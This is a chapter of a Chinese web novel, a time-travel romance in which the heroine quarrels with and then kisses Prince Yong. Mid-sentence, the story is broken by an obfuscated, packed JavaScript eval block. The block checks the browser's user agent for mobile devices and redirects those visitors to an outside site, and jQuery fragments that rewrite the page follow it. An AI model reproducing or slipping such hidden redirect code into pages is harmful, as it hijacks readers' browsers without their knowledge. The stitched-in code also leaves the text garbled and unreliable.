默认冷灰
24号文字
方正启体

34. 第 34 章

作者:由梨本书字数:K更新时间:
    严露晞今日的任务是在离开前修复二人关系,可她总觉得自己说得词不达意。


    “昨日夜里说了什么我是真不记得了,因为我已经被无数琐碎的念头搅得晕头转向。


    王爷可能觉得我可笑,但我明白,我既然是王爷明媒正娶的侧福金,就应该替王爷着想。我也是一心为王爷。”


    这不就是古代女人嘛,严露晞觉得自己阐述得很明白了,她甚至有一丝期盼他能懂自己的无奈。


    “你何来的心!”


    这句话却激怒了雍亲王,他一拍桌子站起来,吓得她缩了身子。


    他两步走到她面前,揽着手臂一把将她抓起,他太高了,她只能抬头惊恐地看着这个仿佛瞬移到自己面前的人。


    “是啊,王爷也不会稀罕。”她愤愤自嘲。


    所谓的真心,不过是给这段婚姻锦上添花而已,没有也无所谓,反正对他来说,女人多得是,真心又不值价。


    他手上只一用力,她便又离他近了些,呼吸带着空中水汽的清新、荔枝酒的微醺,和白蜜印子糕软糯甜蜜的味道。


    他真爱吃甜食啊,完全是个蚂蚁人!她心头蹦出的竟是这样一句话。


    严露晞完全忽略了面前人,一心扑在了她的论文上。


    过度食用甜食诱发糖尿病、高血压,和压力过大导致茧唇,这都可能是他死亡的诱因,就朝这个方向写,应该没问题。


    现在唯一的问题就是,口说无凭,论文中史料的引用从何而来?总不能写∶“亲身经历”吧。


    他愤怒的语气带着蜜香,“这个王府里所有人想的都应是如何伺候主子,而不是对本王诸多要求!你以为,你的自作聪明,是,在对本王施舍麽?”


    他手上又是一紧,慢慢在她面前摘下眼镜,露出冰冷的双眼,她的思绪这才回到了九洲清宴的书房中。


    眼中红血丝根根分明,她还想后退,被一把锢扣住后颈,拉到了怀中。


    挂在胸前的蓝晶手串坠向弥勒榻,发出清脆的声响,两个人一同看向那手串又对上彼此的双眼。


    她心虚往后退,“王爷,我错了,以后不敢了。”


    “本王并非要听这个!你难道没有心?”


    你有?


    严露晞双手一松,什么都不想抓着。


    他平日里冷傲惯了,她素来知晓。可人一旦对别人动情,哪里还能柏拉图得起来?


    纯精神恋爱,不带有占有欲,总好像飘渺得很,她看书时也会有与古人有精神共通之感,这不是爱情,他总不会对年露总出现对历史人物的探究心理吧。


    偏就是与自己在一处时他怎的就文艺病上身,要给她讲故事、说一些天马行空的奇想。


    说到底,他对年露的一切厚待都是有目的的。


    她肯定了自己的想法,不再推开他。


    他却是步步逼近,温度透过衣物,那么炙热,想来他滚烫的身躯才能灼烧出手臂上根根分明的青筋。


    无处可躲,后脚跟被床榻一顶,她便拉着他摔了下去。


    他撑住自己没有压着她,却感到一个小物轻啄他喉结。


    低头,她勾着他脖子的惊恐模样映入眼帘。


    “我是不小心的。”她义正言辞。


    雍亲王眼中透出愠色。


    她故意慢慢靠近,他略高一寸,这次又只够到喉结,“这次不是。”


    作为一个拥有知识又有美丽脸庞的女性,她不认为他这样冷落自己是应该的,甚至她讨厌他的睡前故事,和相敬如宾的夫妻关系。


    见他不配合,她撒娇道:“你低些呀!”


    “你急吼吼的做什么!”


    “谁急了!”她嗔怒,环住他脖颈的手用力靠向他。


    她一下下去够,几次都只挨住他下颏,刺挠的感觉扎在唇上也扎在心里。


    看她数次不得逞,他低下头,问:“你的心呢?”


    严露晞看准时机往上探,他的嘴唇却是冰凉的,透着蜜香。


    “告诉我,你想要什么。”他话音如提木偶的线,钳住她脑后。


    初时他只是轻啄,唇齿间是陌生的触感。


    这一刻她全身紧绷,可人却是轻飘飘的,四周好像有火焰要撩烧她,让她忍不住发出低吟。


    黄梅成熟的季节,虽是北方也多少带着些粘腻,让两个人更似难以分开。


    他的舌尖像云,将她包裹住,她故意往后躲去,他双手顺势埋住她,抢回了她退缩的那些距离,和她缠在了一起。


    凉风丝丝传来,米珠扣子被扯开。他的手捉住了她的腰肢,一点点收紧的力道是昨晚未继续的暧昧。


    她双手不由自主攀上他的肩,伴随着空隙间的轻哼。


    比起肢体的触碰,严露晞更喜欢看似严肃的他生气,看他失去理智。


    一如此刻,“你说!告诉本王!”


    “我错了王爷。”严露晞眼神朦胧,哀求变得更细碎。


    “你知道我要听什么!”


    她不知道,她甚至不明白为什么明明好似一双手抓着她,却觉得那么空虚,想有人填满自己,说出口的又是拒绝。


    她不承认自己爱上他了,这让他愤怒,可她愈是这倚风无力的轻盈模样,便愈发想让她知道些厉害。


    他蜂蜜甜香的嘴唇覆住她,直到丝丝血腥味传来。


    他不舍地松开了手,她红唇微启,昨日的伤口有血珠渗出,因他太用力的吮丨吸,噌噌冒出血来。


    那一粒赤红就如心尖血,刺痛他的双眼,雍亲王反手用大拇指擦掉自己唇上的血渍。


    她说她错了,她怕了,唯独不肯说自己动心了。


    “你没有心,你有何可怕?又错在何处?”


    她扯了衣衫来,愤愤不平说∶“王爷,我是一个寻常人,我做不到与人分享我的丈夫,也不接受自己只是众多选择中的一个。”


    封建社会中的位高者,向来不会想听奴才袒露个人意志,而且她还企图要他放弃其他女人,无论是从私欲亦或是皇嗣繁衍,她的话都会给年露闯祸。


    可她还是选择先说出自己的想法,然后才紧接着说∶“可我不能不接受,我必须承担起外界给我的一切压力,年露这样做,绝对没有错。


    我认错,是因为我惹了王爷生气。”越说越气愤,她一力坐起来。


    还有些话,饶是她再生气上头,也不能明说,自然是按下不表。


    他拾起蓝晶手串,合上她刚被扯掉盘扣的衣领,拥入怀中坐下,将她包裹住一般。


    巨大的衬衣罩着她,脸似乎只有衣服滚边那么宽,刚才这拖拽肯定把她弄疼了。


    “我记住了,最坦诚的你是血液的味道。”


    雍亲王说话语速总是很快,双唇贴在她耳边,呼吸挠着她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16788340|185138||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的耳朵,让她往后缩去,却偏被他禁锢着。


    他亲自将手串戴上她的手腕,然后低声对她道歉∶“是我莽撞,还好没弄伤你。”


    他的双眼里面尽是对她的欣赏之情,“如曾子所言,‘诚其意者,毋自欺也’,看来,你的赤子之心完好无缺。”


    严露晞感到两人此时精神世界相互敞开,剖开赤丨裸柔软的心向对方展示自己所有。


    如同曼妙舞姿,暧昧地划过身边,使两个人的心亲密在一处。


    可她讨厌这种感觉,讨厌他总是莫名其妙、突然的柏拉图。


    “王爷不生我气了?”她明白自己带着一丝明知故问。


    “你说的是心里话,好过道貌岸然地说谎,那是欺人,更是自欺。


    有自欺,才会欺人,最后定会被人欺。换言之,人唯有自爱,才能爱人,最后才会使人爱之。


    达摩祖师初到中原时,便有人问他此行目的,他说,他要找一个不被人欺之人。你知道如何不被人欺?”


    说这些话时眉飞色舞,情绪更是高涨,“利诱之人都会抛出绝佳条件,私谷欠过重心头邪祟就会作怪,导致自欺,自然会被有心人欺。”


    严露晞茫然:哥们儿,你要是不行就早说!


    “我不想听你说这些!”她被吻得昏了头,“我是嫁人,又不是来读书的,你总说些做什么!”


    他看出她的娇嗔,郑重道:“本王岂是轻佻的无能小辈,我有信心你会再次倾心于我,我会等到你心甘情愿。”


    她抓着衣缘往后半躲着,他听懂了他的意思,可自己怎么觉得有些害臊,只得耍赖:“那王爷这就是原谅我了!”


    说到这里,雍亲王看了一眼窗外的天,已经快黑了,他手头一大堆事要处理,刚才确实是冲动了。


    “话虽如此,但你想要求得我原谅,就要看你怎么做了。”他眼中闪过一丝狡黠,眼神不断在她眉睫和双唇间游走。


    他能察觉到她适才指尖在他锁骨处的摩挲,是动心了,但她却总是嘴硬,一甩袍子下了罗汉床,把她轰了出去。


    严露晞站在门口抬手想拍门,路过的内侍依然低头趋行,但她总觉得他们在窃窃私语,在偷偷议论刚才房里的动静。


    她收回手拍了拍衣服,一副正气凛然模样,对不远处的吟雪道∶“回朗吟阁,收拾屋子去。”


    面子总不能落下。


    那一日雍亲王连夜写折子,凌晨天不亮便回了宗人府,端午节这几天都没回来。


    但是派人送来了《水月斋指月录》。


    严露晞去厨房盛做角黍的糯米,满满一杯,这会儿正压在这书上。


    平日里看了再多史料,聊起来也都是些娈童、瘦马,要不就是在瓜里嗑生嗑死。


    就算是研究汉朝中央制度的突破进步,想到的也是汉哀帝与断袖。


    所以说,这本书也太正经了,看起来无趣。


    自从临近节日,角黍就没断过。


    角黍与后来的粽子类似,都是糯米裹了箬叶而成,这种粘糯的食品特别对满人胃口,一天要做许多个都不够。


    她是真的不想吃这些,不过是需要用这东西切断此次穿越罢了。


    “端午这几日都停了萨满太太的猪肉,应该是没有跳神。”吟雪刚探听到消息。


    想到自己可能还要再见雍亲王,严露晞便觉得面红耳赤。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)